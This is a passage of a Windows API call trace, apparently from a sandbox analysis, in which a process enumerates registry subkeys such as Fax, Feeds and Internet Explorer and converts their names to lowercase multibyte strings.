lpMultiByteStr=0x3ac0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0175.636] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.636] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.636] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.636] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.636] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x3ab930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0175.636] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.636] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x3ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0175.636] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.636] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.636] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.636] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.636] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x3ab930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0175.636] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.636] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x3ac0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0175.636] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.636] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.636] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.636] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.637] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x3ab930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0175.637] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.637] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x3ac120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0175.637] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.637] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.637] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.637] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.637] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x3ab930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0175.637] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.637] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x3ac0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0175.637] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.637] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.637] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.637] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.637] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x3ab930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0175.637] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0175.637] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x3ac120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0175.637] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.637] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.637] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.637] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.637] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x3ab930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0175.637] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.637] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x3ac0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0175.637] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.637] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.637] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.637] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.637] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x3ab930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0175.637] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.638] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x3ac120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0175.638] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.638] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.638] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.638] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.638] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x3ab930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0175.638] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.638] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x3ac0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0175.638] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.638] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.638] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.638] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.638] RegEnumKeyW (in: hKey=0x24, dwIndex=0x28, lpName=0x3ab930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0175.638] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.638] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x3ac120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0175.638] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.638] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.638] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.638] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.638] RegEnumKeyW (in: hKey=0x24, dwIndex=0x29, lpName=0x3ab930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0175.638] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.638] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x3ac0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0175.638] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.638] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.638] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.638] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.638] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2a, lpName=0x3ab930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0175.638] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.638] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x3ac120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0175.639] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.639] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.639] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.639] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.639] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2b, lpName=0x3ab930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0175.639] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.639] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x3ac0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0175.639] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.639] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.639] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.639] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.639] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2c, lpName=0x3ab930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0175.639] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.639] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x3ac120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0175.639] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.639] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.639] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.639] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.639] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2d, lpName=0x3ab930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0175.639] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.639] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x3ac0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0175.639] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.639] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.639] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.639] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.639] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2e, lpName=0x3ab930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0175.639] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0175.639] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x3ac120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0175.639] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.639] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.640] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.640] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.640] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2f, lpName=0x3ab930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0175.640] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0175.640] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x3ac0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0175.640] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.640] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.640] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.640] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.640] RegEnumKeyW (in: hKey=0x24, dwIndex=0x30, lpName=0x3ab930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0175.640] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.640] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x3ac120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0175.640] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.640] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.640] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.640] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.640] RegEnumKeyW (in: hKey=0x24, dwIndex=0x31, lpName=0x3ab930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0175.640] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.640] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x3ac0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0175.640] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.640] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.640] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.640] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.640] RegEnumKeyW (in: hKey=0x24, dwIndex=0x32, lpName=0x3ab930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0175.640] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.640] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x3ac120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0175.641] RegEnumKeyW (in: hKey=0x24, dwIndex=0x33, lpName=0x3ab930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0175.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0175.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x3ac0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0175.641] RegEnumKeyW (in: hKey=0x24, dwIndex=0x34, lpName=0x3ab930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0175.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x3ac120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0175.641] RegEnumKeyW (in: hKey=0x24, dwIndex=0x35, lpName=0x3ab930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0175.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0175.641] WideCharToMultiByte (in: CodePage=0x0, 